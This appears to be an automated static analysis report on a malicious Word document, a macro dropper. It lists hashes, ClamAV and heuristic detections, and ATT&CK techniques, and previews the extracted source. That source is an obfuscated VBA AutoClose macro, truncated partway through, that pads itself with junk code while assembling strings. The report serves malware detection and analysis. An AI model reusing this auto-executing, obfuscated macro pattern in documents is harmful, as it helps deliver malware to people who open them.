Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b38d2168e0aa244…

MALICIOUS

Office (OLE)

156.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 9e4d54caa941286eb6b92c54c174b5a8 SHA-1: 2918df9a103cb6f0672f85b28d02bcfc09e46f48 SHA-256: 7b38d2168e0aa244bc4265533f45d7bc78c4dbd6b96d36901a76643f9233bde9
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The file contains a VBA macro with an AutoClose function, which is a common technique for executing malicious code upon document closure. The heuristic firings indicate the presence of an auto-executing macro and a GetObject call, suggesting the macro is designed to download and execute a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6594198-0' further supports this dropper functionality. No specific family could be identified due to the obfuscated nature of the script.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6594198-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6594198-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22043 bytes
SHA-256: 0857541c5771cd1ca1eb567f39ae58bf8346cc0ff6584fc546619c2ca3e0dd77
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
On Error Resume Next
SacEzlAemj = 66549
porYwULAJ = "KuFiWIGaxyGuY"
iIQOBuWikIrUbOhucIGU = 26244
TATUwIfarDyCAgyHY = Val("68738") & "SIpuQEZDIrisrEdYTUG"
MINYvIzuZAiAbypu = 23639
Dim BuFogyhywepEWiFGeqa
For BuFogyhywepEWiFGeqa = 1 To 11
   Dim hyRaNyBERho
   hyRaNyBERho = Fix(12998)
Next

Dim ibyPOpOgyhuJUdyZinO
ibyPOpOgyhuJUdyZinO = 72166
Dim BaTyMakYKolei
BaTyMakYKolei = 38894
Dim CYleGaHuvojpUPEKEReG
For CYleGaHuvojpUPEKEReG = 2 To 13
   Dim qofiZAMiBeW
   qofiZAMiBeW = Fix(90378)
Next

Dim cAzEwIbASaBOG
ruVeRuMODodAp = "puVYiAxyba"
kOlowOGICEtiB = Val("45719") & "iIiwOWYPeiO"
For cAzEwIbASaBOG = 1 To 11
Dim CEsACaiyzolos
For CEsACaiyzolos = 6 To 12
   Dim WEZObeSuCYBEzOQacUr
   WEZObeSuCYBEzOQacUr = Fix(67542)
Next
   Dim HyqIvOzAKAfeUL
   HyqIvOzAKAfeUL = Fix(19136)
RAnexuNOSifyNYpuXuwo = "ZAmAwEiorAbuDOt"
Next
cApyqOjIzUG = "faTUJikyHyWEVoWYterU"
dofuDeCEdI = 60075
Dim jtiqAAT
jtiqAAT = 36766
XYDyROjAhokyVYL = Val("1589") & "ZIdyKEzOtavINU"
MiCYJUXxow = "GeqUNipAx"



sIbehEzIURUNyKYwaPEB = 63584
DniNIrihuCudUdUkIie = "BAHigAcozO"
HtuJoleHNa = Val("55640") & "pikAZoLyziWYMAFIpuVU"
GiLAqDiptrYbiQoG = "NEluZUWuKITeVUSyGet"
Dim FOtiqeTiCtigOaY
Dim gYluqzezASoFOpAlA
gYluqzezASoFOpAlA = 71733
FOtiqeTiCtigOaY = 19252
wuaehOJOTOTUGiKakAS = Val("47611") & "jugeiajINiBLy"
HBISYrEL = StrReverse("")


zykomUKikeKixzi = 78691
Dim LuXGYpYVmMaWanovIsy
LuXGYpYVmMaWanovIsy = 87171
LuaYjdkgiBuzAkiwIF = 33228
podIvxox = "iugicmoVAXIhAPi"
gELkuMynYROs = "sUTubEnYluzeqOJuQ"
ZEJitYgATYkOhig = 62925
MIJEnIrrU = 56456
fIKOlUqIlIBoTokIWUQIt = 58289
Dim pPeNUVuJEnUpEjabOK
pPeNUVuJEnUpEjabOK = 58411


Dim fEmeWEpihUB
For fEmeWEpihUB = 2 To 11
   Dim qeMOByxukIxydAQ
   qeMOByxukIxydAQ = Fix(23863)
Next
Dim XOGunYBLEbpOxyhiby
For XOGunYBLEbpOxyhiby = 1 To 12
   Dim PavagIjOgaxocYTyvItec
   PavagIjOgaxocYTyvItec = Fix(35280)
Next
Dim huKazyQizi
huKazyQizi = 54662


CACIayhICasorOmykUXI = Val("77476") & "LIKaWyjevER"
viHeMINaMAjIwuCci = "boVylISeP"
SihibEwukiPoiETY = "xekASXYruzeRuDIhe"

toloJaNYw = "FEqUBepyJEca"

 HBISYrEL = HBISYrEL + IIf((264 + 528) = 792, "sc", "6Ht")
Dim xaPYXOmsyaL
xaPYXOmsyaL = 77569

Dim rYCFuxANiXOviHaPowyp
For rYCFuxANiXOviHaPowyp = 5 To 13
   Dim HYxPoTaMuLVYLuDuTOXO
   HYxPoTaMuLVYLuDuTOXO = Fix(73959)
Next
zvobigehIkoToBvaji = 46199
HBISYrEL = HBISYrEL + IIf((256 + 512) = 768, "ri", "H4J5")
rENosidEautO = 68510
RuQBugOTEfyG = 59787
Dim toORiSepYSu
For toORiSepYSu = 9 To 11
Dim gEteHyqAfiZEkavIEi
gEteHyqAfiZEkavIEi = 96275
Dim cAFYnyqOhosege
cAFYnyqOhosege = 25241
   Dim TAcUXUXezYfEtOTEgoqAZ
   TAcUXUXezYfEtOTEgoqAZ = Fix(94688)
Dim NelIDvAHifiZ
For NelIDvAHifiZ = 10 To 10
   Dim bykAQotujuMEZyJ
   bykAQotujuMEZyJ = Fix(58189)
Next
Dim MaTUQuqEwUJOTYM
For MaTUQuqEwUJOTYM = 9 To 12
   Dim VybiGAfYdoQijOXiJEjA
   VybiGAfYdoQijOXiJEjA = Fix(95712)
Next
Dim retUwIBUBE
For retUwIBUBE = 2 To 12
   Dim MeaOmOTyNaBOGaW
   MeaOmOTyNaBOGaW = Fix(87351)
Next
Next

iydanusYdu = "vidonIjEzYDuHAPASuZOGY"
qEwUPIlYxUhHIpeVO = 14318
Dim EbKnOruVuq
For EbKnOruVuq = 0 To 12
   Dim QahWACIsUbAwiLAlyNY
   QahWACIsUbAwiLAlyNY = Fix(78100)
Next
ROTOMAKIB = Val("52948") & "wiBuSAgUnEQoHoByhEN"
HBISYrEL = HBISYrEL + IIf((160 + 320) = 480, "pt", "RQP")
Dim mPaiAhowORAKAciCYiO
For mPaiAhowORAKAciCYiO = 8 To 10
   Dim JUgumuMUVX
   JUgumuMUVX = Fix(94741)
Next

HEVFEDIxUL = 97614
MuQeNufYkYP = "xEGoiEqaI"
jazYzEPuSEPEaytuqAV = Val("10182") & "wYxoQIayziKCOio"
jyKYPOcYV = "bOtOwumAlUbEBOj"
DyfuqERyJYkyGIMU = "cuVaFIMUQaDAQ"
Dim sDiQINUzeXUgyi
For sDiQINUzeXUgyi = 2 To 10
   Dim CyhORiJAmA
   CyhORiJAmA = Fix(95003)
Next
myUHaWIVivaQy = 18281
daJiMUKUXa = 91655
Dim NOHoxygiMiSIlIbow
For NOHoxygi
... (truncated)

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